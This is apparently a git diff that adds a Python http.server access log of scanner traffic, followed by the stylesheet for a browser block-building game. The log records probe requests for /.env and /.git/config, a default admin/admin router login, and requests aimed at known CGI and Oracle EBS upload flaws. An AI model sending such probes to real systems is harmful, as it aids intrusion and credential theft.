"/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +79.133.126.183 - - [12/Jan/2026 01:09:28] code 501, message Unsupported method ('POST') +79.133.126.183 - - [12/Jan/2026 01:09:28] "POST /cgi-bin/cstecgi.cgi HTTP/1.1" 501 - +---------------------------------------- +Exception occurred during processing of request from ('206.168.34.208', 32400) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +206.168.34.208 - - [12/Jan/2026 01:13:38] code 400, message Bad request version ('À\\x14À') +206.168.34.208 - - [12/Jan/2026 01:13:38] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03ù©\x0ei?\x15y¶º_ú\x08\x94Ú\x86¢¹ð'ò\x88\x90­?\x00¸Fã¤P\x0c\x98 ße\x1aÖÞt\x04ªãtsöì­´¯Bs\x00Ûµ¿»û\x1bÁ©`:\x17-á\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +---------------------------------------- +Exception occurred during processing of request from ('206.168.34.208', 53268) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +206.168.34.208 - - [12/Jan/2026 01:14:15] code 400, message Bad request syntax ('ZG\\x00\\x00\\x00\\x05\\x00+\\x0e\\x01\\x00') +206.168.34.208 - - [12/Jan/2026 01:14:15] "ZG\x00\x00\x00\x05\x00+\x0e\x01\x00" 400 - +147.185.132.76 - - [12/Jan/2026 01:27:48] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [12/Jan/2026 02:01:00] "GET / HTTP/1.1" 200 - +195.98.182.107 - - [12/Jan/2026 03:14:32] code 501, message Unsupported method ('POST') +195.98.182.107 - - [12/Jan/2026 03:14:32] "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 501 - +195.98.182.107 - - [12/Jan/2026 03:14:32] code 404, message File not found +195.98.182.107 - - [12/Jan/2026 03:14:32] "GET /OA_CGI/FNDWRR.exe HTTP/1.1" 404 - +195.98.182.107 - - [12/Jan/2026 03:14:33] code 501, message Unsupported method ('POST') +195.98.182.107 - - [12/Jan/2026 03:14:33] "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 501 - +205.210.31.81 - - [12/Jan/2026 03:43:51] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00î\\x01\\x00\\x00ê\\x03\\x03j+¯4ñ1ÁZ') +205.210.31.81 - - [12/Jan/2026 03:43:51] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03j+¯4ñ1ÁZ" 400 - +205.210.31.81 - - [12/Jan/2026 03:43:52] code 400, message Bad HTTP/0.9 request type ("\\x16\\x03\\x01\\x00Ê\\x01\\x00\\x00Æ\\x03\\x03ño\\x00pç¿è³.b\\x82»ÑÅÔKæv5\\x87\\x0eU\\x9a\\x94£ÎÆ©¸R\\x89\\x92\\x00\\x00hÌ\\x14Ì\\x13À/À+À0À,À\\x11À\\x07À'À#À\\x13À") +205.210.31.81 - - [12/Jan/2026 03:43:52] "\x16\x03\x01\x00Ê\x01\x00\x00Æ\x03\x03ño\x00pç¿è³.b\x82»ÑÅÔKæv5\x87\x0eU\x9a\x94£ÎÆ©¸R\x89\x92\x00\x00hÌ\x14Ì\x13À/À+À0À,À\x11À\x07À'À#À\x13À\x09À(À$À\x14À" 400 - +85.217.140.6 - - [12/Jan/2026 04:22:54] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [12/Jan/2026 05:45:52] "GET / HTTP/1.1" 200 - +81.19.140.51 - - [12/Jan/2026 06:09:33] "GET / HTTP/1.1" 200 - +184.105.139.69 - - [12/Jan/2026 06:28:56] code 400, message Bad request version ('À\\x14À') +184.105.139.69 - - [12/Jan/2026 06:28:56] "\x16\x03\x01\x00\x90\x01\x00\x00\x8c\x03\x03P\x85ç\x0föÍ?7°§\x08x\\ÕÆÎH\x18Ò\x1a\x91\x1f\x9d£ð?Z\x1b\x9fZÒ-\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +195.184.76.143 - - [12/Jan/2026 06:59:53] code 400, message Bad request version ('À#À¬À®À+À') +195.184.76.143 - - [12/Jan/2026 06:59:53] "\x16\x03\x03\x01¥\x01\x00\x01¡\x03\x03d<\x8aÉ©l\x01\x84\x10Òú÷(*¢\x86\x8cÜ\x7f\x1dO¸AÃj\x86í\x01+sâ\x91 2;\x82\x06\x16A,\x0d0§F\x02\x0b3'#Né^\x18ô\x8e\x00\x08\x0cå\x01Þ\x83½{¨\x00\x8a\x00\x16\x003\x00gÀ\x9eÀ¢\x00\x9e\x009\x00kÀ\x9fÀ£\x00\x9f\x00E\x00¾\x00\x88\x00Ä\x00\x9aÀ\x08À\x09À#À¬À®À+À" 400 - +195.184.76.136 - - [12/Jan/2026 06:59:56] "GET / HTTP/1.1" 200 - +195.184.76.227 - - [12/Jan/2026 07:02:34] code 404, message File not found +195.184.76.227 - - [12/Jan/2026 07:02:34] "GET /favicon.ico HTTP/1.1" 404 - +64.62.156.10 - - [12/Jan/2026 07:12:18] "GET / HTTP/1.1" 200 - +64.62.156.23 - - [12/Jan/2026 07:12:55] code 404, message File not found +64.62.156.23 - - [12/Jan/2026 07:12:55] "GET /favicon.ico HTTP/1.1" 404 - +64.62.156.15 - - [12/Jan/2026 07:13:13] code 404, message File not found +64.62.156.15 - - [12/Jan/2026 07:13:13] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +64.62.156.13 - - [12/Jan/2026 07:13:25] code 501, message Unsupported method ('CONNECT') +64.62.156.13 - - [12/Jan/2026 07:13:25] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +64.62.156.10 - - [12/Jan/2026 07:13:29] code 404, message File not found +64.62.156.10 - - [12/Jan/2026 07:13:29] "GET /geoserver/web/ HTTP/1.1" 404 - +87.236.176.228 - - [12/Jan/2026 07:29:52] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('206.168.34.46', 1724) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +206.168.34.46 - - [12/Jan/2026 07:38:58] "GET / HTTP/1.1" 200 - +206.168.34.46 - - [12/Jan/2026 07:39:02] code 400, message Bad request version ('À\\x14À') +206.168.34.46 - - [12/Jan/2026 07:39:02] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03$%Ùü\x18æ\x9eâ\x89Ê\x1dÜ!/-n\x99îæ¥Æj·wá7z3\x96Áß\x08 Väû¥ÆS=Sð\x13M±¾âë"\x00Ô\x11\x87¹þ\x89Ä\x13\x8a,mF:ú\x89\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +206.168.34.46 - - [12/Jan/2026 07:39:03] "GET / HTTP/1.1" 200 - +206.168.34.46 - - [12/Jan/2026 07:39:06] code 505, message Invalid HTTP version (2.0) +206.168.34.46 - - [12/Jan/2026 07:39:06] "PRI * HTTP/2.0" 505 - +206.168.34.46 - - [12/Jan/2026 07:39:08] code 404, message File not found +206.168.34.46 - - [12/Jan/2026 07:39:08] "GET /favicon.ico HTTP/1.1" 404 - +206.168.34.46 - - [12/Jan/2026 07:39:43] code 400, message Bad request version ('À\\x14À') +206.168.34.46 - - [12/Jan/2026 07:39:43] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03,í>V\x99\x1e¾aÑIj\x91Sv£\x19¾6\x05ÿ¹\x08è{˺$\x03\x9613I ëLQç\x91\x802\x00\x07Ñó\x87\x8aáê\x07Ù^\x9cÉmNûS\x0cµmÓ¥»\x1b\x08\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +206.168.34.46 - - [12/Jan/2026 07:39:45] code 404, message File not found +206.168.34.46 - - [12/Jan/2026 07:39:45] "GET /.well-known/security.txt HTTP/1.1" 404 - +205.210.31.66 - - [12/Jan/2026 08:58:26] "GET / HTTP/1.0" 200 - +44.245.156.41 - - [12/Jan/2026 09:10:04] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [12/Jan/2026 09:11:10] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [12/Jan/2026 09:12:32] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [12/Jan/2026 09:14:15] code 400, message Bad request version ('À\\x14À') +3.132.23.201 - - [12/Jan/2026 09:14:15] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03Z¸¦\x1fx\x9774\x83\x86\x19}\x99Ü\x06\x13\x9d¥?¹ Ô×\x90C\x1e`¥Ü¸\x09ý\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +3.132.23.201 - - [12/Jan/2026 09:14:53] code 400, message Bad request syntax ('SSH-2.0-Go') +3.132.23.201 - - [12/Jan/2026 09:14:53] "SSH-2.0-Go" 400 - +3.132.23.201 - - [12/Jan/2026 09:16:22] code 400, message Bad request version ('À\\x14À') +3.132.23.201 - - [12/Jan/2026 09:16:22] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03Þ0=\x00¼g\x83¢ä¸=\x8e-\x16\x9eá÷\x02\x80)8\x1d\x8a\x97;úÇ\x8bðÚ\x8aö\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +184.105.139.69 - - [12/Jan/2026 10:47:41] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03\\x9dNæ¢\\x19¢EDÀ¤¨Ëû\\x19>iÁ\\x05\\x80²¸K\\x01¸i¾\\x9at\\x9c@÷') +184.105.139.69 - - [12/Jan/2026 10:47:41] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x9dNæ¢\x19¢EDÀ¤¨Ëû\x19>iÁ\x05\x80²¸K\x01¸i¾\x9at\x9c@÷" 400 - +107.170.77.145 - - [12/Jan/2026 11:06:16] code 404, message File not found +107.170.77.145 - - [12/Jan/2026 11:06:16] "GET /.env HTTP/1.1" 404 - +107.170.77.145 - - [12/Jan/2026 11:06:16] code 404, message File not found +107.170.77.145 - - [12/Jan/2026 11:06:16] "GET /.git/config HTTP/1.1" 404 - +71.6.232.24 - - [12/Jan/2026 11:43:51] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [12/Jan/2026 12:27:09] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [12/Jan/2026 12:34:24] code 404, message File not found +45.194.92.18 - - [12/Jan/2026 12:34:24] "GET /index.htm HTTP/1.1" 404 - +45.194.92.18 - - [12/Jan/2026 12:34:24] code 400, message Bad request version ('encoding="UTF-8"?>') +45.194.92.18 - - [12/Jan/2026 12:34:24] "1111\x0c\x01\x00\x00\x04\x00\x00\x01\x1b\x09\x00\x00\x02\x01\x00\x00ü\x00\x00\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00queryBasicCfg\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 - +45.194.92.18 - - [12/Jan/2026 12:34:24] code 400, message Bad request version ('À\\x13À') +45.194.92.18 - - [12/Jan/2026 12:34:24] "\x16\x03\x01\x05¬\x01\x00\x05¨\x03\x03KÎg\x1eÄá\x9a\x1b:)n¥Ñ9Bá·\x1fÌ\x1cÓ/êÎ\x1c#S\x0f\x80)Ó\x83 ¡ì\x16í\x07é]ëÐ\x9c\x82°L\x08ÃHv¥C\x9c¬æ/\x98æÚl¥&U\x9fO\x00\x1aÀ+À/À,À0̨̩À\x09À\x13À" 400 - +45.194.92.18 - - [12/Jan/2026 12:34:24] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [12/Jan/2026 12:34:24] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [12/Jan/2026 12:34:24] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [12/Jan/2026 12:34:25] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [12/Jan/2026 12:34:25] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [12/Jan/2026 12:34:26] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [12/Jan/2026 12:34:26] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +175.148.164.132 - - [12/Jan/2026 12:46:44] code 404, message File not found +175.148.164.132 - - [12/Jan/2026 12:46:44] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 - +93.123.72.132 - - [12/Jan/2026 13:23:07] code 404, message File not found +93.123.72.132 - - [12/Jan/2026 13:23:07] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 - +204.76.203.212 - - [12/Jan/2026 13:42:35] "GET / HTTP/1.1" 200 - +85.202.13.46 - - [12/Jan/2026 14:09:01] "GET / HTTP/1.0" 200 - +46.73.143.42 - - [12/Jan/2026 14:09:14] "GET / HTTP/1.0" 200 - +109.194.220.174 - - [12/Jan/2026 15:00:03] "GET / HTTP/1.0" 200 - +193.233.179.53 - - [12/Jan/2026 15:24:56] "GET / HTTP/1.0" 200 - +112.46.213.223 - - [12/Jan/2026 16:48:21] "GET / HTTP/1.1" 200 - +104.236.117.5 - - [12/Jan/2026 16:57:13] code 404, message File not found +104.236.117.5 - - [12/Jan/2026 16:57:13] "GET /api/v1/licensing/about HTTP/1.1" 404 - +54.152.220.72 - - [12/Jan/2026 18:17:06] "GET / HTTP/1.1" 200 - +64.62.197.212 - - [12/Jan/2026 18:19:47] "GET / HTTP/1.1" 200 - +64.62.197.220 - - [12/Jan/2026 18:20:07] code 404, message File not found +64.62.197.220 - - [12/Jan/2026 18:20:07] "GET /favicon.ico HTTP/1.1" 404 - +198.235.24.54 - - [12/Jan/2026 20:42:05] "GET / HTTP/1.0" 200 - +204.76.203.212 - - [12/Jan/2026 20:51:48] "GET / HTTP/1.1" 200 - +147.185.132.100 - - [12/Jan/2026 22:33:12] code 400, message Bad request version ('À\\x13À') +147.185.132.100 - - [12/Jan/2026 22:33:12] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03Å\x99ñ&ÿ§næ\x1f\x8e½AÀÎkp\x98\x08Sæ@\x80<Õ±qÕ\x1cl2\x964 \x1bô~\x8eò#\x8cä\x00\x16\x105Õªr\x80\x13j\x97\x0b©òG\x09\x91Â\x8dä\x96×\x95÷\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +147.185.132.100 - - [12/Jan/2026 22:33:12] code 400, message Bad request version ('À(À$À\\x14À') +147.185.132.100 - - [12/Jan/2026 22:33:12] "\x16\x03\x01\x00Ê\x01\x00\x00Æ\x03\x03!\x9cÔ2ó§\x80Óðñ\x994¹\x80í\x0d}ç3G~?èsa©³Ëñc!³\x00\x00hÌ\x14Ì\x13À/À+À0À,À\x11À\x07À'À#À\x13À\x09À(À$À\x14À" 400 - +183.134.104.170 - - [12/Jan/2026 22:44:37] "GET / HTTP/1.0" 200 - +115.238.44.234 - - [12/Jan/2026 22:49:01] "GET / HTTP/1.0" 200 - +204.76.203.212 - - [12/Jan/2026 22:56:42] "GET / HTTP/1.1" 200 - +74.249.178.151 - - [12/Jan/2026 23:05:26] "GET / HTTP/1.1" 200 - +74.249.178.151 - - [12/Jan/2026 23:05:26] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +74.249.178.151 - - [12/Jan/2026 23:05:26] "MGLNDD_83.222.24.31_8080" 400 - +198.235.24.253 - - [12/Jan/2026 23:22:16] "GET / HTTP/1.1" 200 - +204.76.203.20 - - [12/Jan/2026 23:29:18] code 404, message File not found +204.76.203.20 - - [12/Jan/2026 23:29:18] "GET /index.asp HTTP/1.1" 404 - +152.42.222.180 - - [12/Jan/2026 23:38:50] code 400, message Bad HTTP/0.9 request type ("\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03\\x87Tt©\\x17ç=ô7\\x04TÚTQ¯_'¨\\x90s\\x10ä«ÄmÇ7ÙØ\\x80ÃO\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À") +152.42.222.180 - - [12/Jan/2026 23:38:50] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x87Tt©\x17ç=ô7\x04TÚTQ¯_'¨\x90s\x10ä«ÄmÇ7ÙØ\x80ÃO\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +152.42.222.180 - - [12/Jan/2026 23:38:50] code 400, message Bad request version ('À\\x14À') +152.42.222.180 - - [12/Jan/2026 23:38:50] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x9c\x92Z)\x9dú\x93\x89Mæú@\x183\x83gòàøzØ\x7f ÃÖ\x03Úm\x09\x87(Þ\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +152.42.222.180 - - [12/Jan/2026 23:38:51] "GET / HTTP/1.1" 200 - +152.42.222.180 - - [12/Jan/2026 23:38:51] code 404, message File not found +152.42.222.180 - - [12/Jan/2026 23:38:51] "GET /download/powershell/ HTTP/1.1" 404 - +152.42.222.180 - - [12/Jan/2026 23:38:52] code 404, message File not found +152.42.222.180 - - [12/Jan/2026 23:38:52] "GET /get.php HTTP/1.1" 404 - +204.76.203.212 - - [13/Jan/2026 02:15:10] "GET / HTTP/1.1" 200 - +45.156.129.54 - - [13/Jan/2026 02:42:57] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [13/Jan/2026 03:04:21] "GET / HTTP/1.1" 200 - +128.203.200.182 - - [13/Jan/2026 03:44:02] code 404, message File not found +128.203.200.182 - - [13/Jan/2026 03:44:02] "GET /hudson HTTP/1.1" 404 - +65.49.1.108 - - [13/Jan/2026 03:46:20] "GET / HTTP/1.1" 200 - +65.49.1.109 - - [13/Jan/2026 03:46:51] code 404, message File not found +65.49.1.109 - - [13/Jan/2026 03:46:51] "GET /favicon.ico HTTP/1.1" 404 - +65.49.1.118 - - [13/Jan/2026 03:47:15] code 404, message File not found +65.49.1.118 - - [13/Jan/2026 03:47:15] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +65.49.1.110 - - [13/Jan/2026 03:47:19] code 501, message Unsupported method ('CONNECT') +65.49.1.110 - - [13/Jan/2026 03:47:19] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +65.49.1.108 - - [13/Jan/2026 03:47:24] code 404, message File not found +65.49.1.108 - - [13/Jan/2026 03:47:24] "GET /geoserver/web/ HTTP/1.1" 404 - +65.49.1.24 - - [13/Jan/2026 04:04:59] code 400, message Bad request version ('À\\x14À') +65.49.1.24 - - [13/Jan/2026 04:04:59] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x9eoä\x9eRv\x89DÄ\x1b\x94ãoEÁÊ7xø\x99\x17õ}Fq|ã¿\x1eó»\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +20.127.192.218 - - [13/Jan/2026 04:46:28] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +20.127.192.218 - - [13/Jan/2026 04:46:28] "MGLNDD_83.222.24.31_8080" 400 - +204.76.203.212 - - [13/Jan/2026 05:59:39] "GET / HTTP/1.1" 200 - +91.224.92.14 - - [13/Jan/2026 06:18:50] "GET / HTTP/1.1" 200 - +64.62.197.137 - - [13/Jan/2026 06:24:05] "GET / HTTP/1.1" 200 - +64.62.197.144 - - [13/Jan/2026 06:24:44] code 404, message File not found +64.62.197.144 - - [13/Jan/2026 06:24:44] "GET /favicon.ico HTTP/1.1" 404 - +3.130.96.91 - - [13/Jan/2026 07:36:40] "GET / HTTP/1.1" 200 - +3.130.96.91 - - [13/Jan/2026 07:38:08] code 400, message Bad request version ('À\\x14À') +3.130.96.91 - - [13/Jan/2026 07:38:08] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03J\x8f\x19\x0c3þò·³ùhî\x84\x03\x03XmBS@&h+²÷Ì}` ¹P\x07\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +3.130.96.91 - - [13/Jan/2026 07:39:19] code 400, message Bad request syntax ('SSH-2.0-Go') +3.130.96.91 - - [13/Jan/2026 07:39:19] "SSH-2.0-Go" 400 - +3.130.96.91 - - [13/Jan/2026 07:40:53] code 400, message Bad request version ('À\\x14À') +3.130.96.91 - - [13/Jan/2026 07:40:53] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03~\x01MDí\x17¸Øõ \x88\x16Öð$?*to·lþ-f\x87fo\x00XWǨ\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +167.94.138.199 - - [13/Jan/2026 08:05:28] code 400, message Bad request version ('À\\x14À') +167.94.138.199 - - [13/Jan/2026 08:05:28] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x033æøýRî\x933\x17Òèd\x0dá\x1a¡\x99\x9e\x0d­ä\x1b\x9e½üeÒÿsÌ\\¨ ò3\x881VÍq¢PÌ\x01J\x07Z`«E`ôE\x10ÞÖß\x88\x1dée\x9b4YÃ\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +167.94.138.199 - - [13/Jan/2026 08:05:29] "GET / HTTP/1.1" 200 - +167.94.138.199 - - [13/Jan/2026 08:05:30] code 505, message Invalid HTTP version (2.0) +167.94.138.199 - - [13/Jan/2026 08:05:30] "PRI * HTTP/2.0" 505 - +167.94.138.199 - - [13/Jan/2026 08:05:34] code 404, message File not found +167.94.138.199 - - [13/Jan/2026 08:05:34] "GET /favicon.ico HTTP/1.1" 404 - +167.94.138.199 - - [13/Jan/2026 08:06:06] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00î\\x01\\x00\\x00ê\\x03\\x03¦Íq§\\x04,\\x9dîbNzm!\\x11Ò\\x07ôÚ%\\x11(\\x91\\x99\\x0f,ðÏc:¯ÓH') +167.94.138.199 - - [13/Jan/2026 08:06:06] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03¦Íq§\x04,\x9dîbNzm!\x11Ò\x07ôÚ%\x11(\x91\x99\x0f,ðÏc:¯ÓH \x94\x12öVÄ\x80ê\x12Ê\x05=" 400 - +167.94.138.199 - - [13/Jan/2026 08:06:07] code 404, message File not found +167.94.138.199 - - [13/Jan/2026 08:06:07] "GET /sitemap.xml HTTP/1.1" 404 - diff --git a/style.css b/style.css new file mode 100644 index 0000000..a6e3d6a --- /dev/null +++ b/style.css @@ -0,0 +1,92 @@ +/* Minegrechka Game Styles - v1.2 */ +html, body { margin:0; padding:0; width:100%; height:100%; overflow:hidden; background:#111; font-family: system-ui, sans-serif; user-select:none; -webkit-user-select:none; touch-action:none; } +#game { position:absolute; top:0; left:0; right:0; bottom:0; background:#87CEEB; overflow:hidden; } +canvas { display:block; width:100%; height:100%; image-rendering:pixelated; } +#controls { position:absolute; left:0; right:0; bottom:0; height:140px; background:#222; border-top:4px solid #444; z-index:100; display:none; } + +/* Стили для кнопок управления (.btn вместо .cbtn для совместимости с index.html) */ +.btn { position:absolute; top:50%; transform:translateY(-50%); width:74px; height:74px; border-radius:14px; + background:#333; border:3px solid #555; color:#fff; font-size:32px; display:flex; align-items:center; justify-content:center; + box-shadow:0 7px 0 #111; pointer-events:auto; z-index:101; } +.btn:active { transform:translateY(-46%); box-shadow:0 3px 0 #111; background:#444; } +#left { left:18px; } +#right { left:102px; } +#down { left:186px; background:#2980b9; border-color:#3498db; } +#jump { right:18px; background:#d35400; border-color:#e67e22; } + +/* Скрываем панель на десктопе (широкие экраны) */ +@media (min-width: 769px) { + #controls { display: none !important; } +} + +/* Показываем панель на мобильных устройствах (узкие экраны) */ +@media (max-width: 768px) { + #controls { display: block !important; } +} + +.ui { position:absolute; inset:0; pointer-events:none; z-index:20; } +.pe { pointer-events:auto; } + +#stats { position:absolute; left:10px; top:10px; color:#fff; font-weight:800; font-size:14px; + background: rgba(0,0,0,0.55); padding:8px; border-radius:10px; text-shadow:1px 1px 0 #000; } +#stats .row{ display:flex; gap:10px; align-items:center; } + +.rbtn { position:absolute; right:10px; width:52px; height:52px; border-radius:12px; + display:flex; align-items:center; justify-content:center; border:2px solid rgba(255,255,255,0.9); + font-size:24px; cursor:pointer; pointer-events:auto; box-shadow:0 4px 0 rgba(0,0,0,0.5); } +.rbtn:active { transform: translateY(4px); box-shadow:none; } +#modeBtn { top:10px; background:#f39c12; } +#saveBtn { top:10px; right:70px !important; background:#27ae60; } +#resetBtn { top:10px; right:130px !important; background:#e74c3c; } +#craftBtn { top:74px; right:10px !important; background:#9b59b6; } +#invToggle { top:74px; right:70px !important; background:#3498db; } +#chatToggle { display: none !important; } +#chatPanel { display: none !important; } + +#hotbar { position:absolute; left:50%; transform:translateX(-50%); bottom:10px; display:flex; gap:6px; + background: rgba(0,0,0,0.60); padding:6px; border-radius:12px; pointer-events:auto; + overflow-x: auto; overflow-y: hidden; max-width: 80%; } + +/* Поднимаем hotbar на тач-устройствах, чтобы не перекрывать кнопки */ +body.touch-device #hotbar { + bottom: 150px; +} +.slot { width:38px; height:38px; border:2px solid rgba(255,255,255,0.22); border-radius:10px; + position:relative; overflow:hidden; cursor:pointer; background: rgba(255,255,255,0.07); + display:flex; align-items:center; justify-content:center; font-size:18px; } +.slot.sel { border-color:#f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.count { position:absolute; right:3px; bottom:1px; font-size:10px; color:#fff; font-weight:900; text-shadow:1px 1px 0 #000; } + +/* Craft modal */ +#craftPanel { display:none; position:absolute; left:14px; right:14px; top:14px; bottom:14px; + background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); border-radius:14px; + pointer-events:auto; padding:12px; overflow:auto; z-index: 200; } + +/* Inventory modal */ +#inventoryPanel { display:none; position:absolute; left:50%; top:50%; transform: translate(-50%, -50%); + width: 420px; max-width: 90%; background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); + border-radius:14px; pointer-events:auto; padding:12px; z-index: 200; } +#inventoryPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; } +#inventoryGrid { display: grid; grid-template-columns: repeat(6, 1fr); gap: 6px; margin-top: 10px; } +.inv-slot { width: 48px; height: 48px; border: 2px solid rgba(255,255,255,0.22); border-radius: 8px; + position: relative; overflow: hidden; cursor: pointer; background: rgba(255,255,255,0.07); + display: flex; align-items: center; justify-content: center; font-size: 24px; } +.inv-slot.sel { border-color: #f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.inv-count { position: absolute; right: 3px; bottom: 1px; font-size: 12px; color: #fff; + font-weight: 900; text-shadow: 1px 1px 0 #000; background: rgba(0,0,0,0.5); padding: 1px 3px; border-radius: 4px; } +.equipped-indicator { position: absolute; top: 2px; right: 2px; font-size: 14px; color: #2ecc71; font-weight: 900; text-shadow: 1px 1px 0 #000; } +#craftPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; 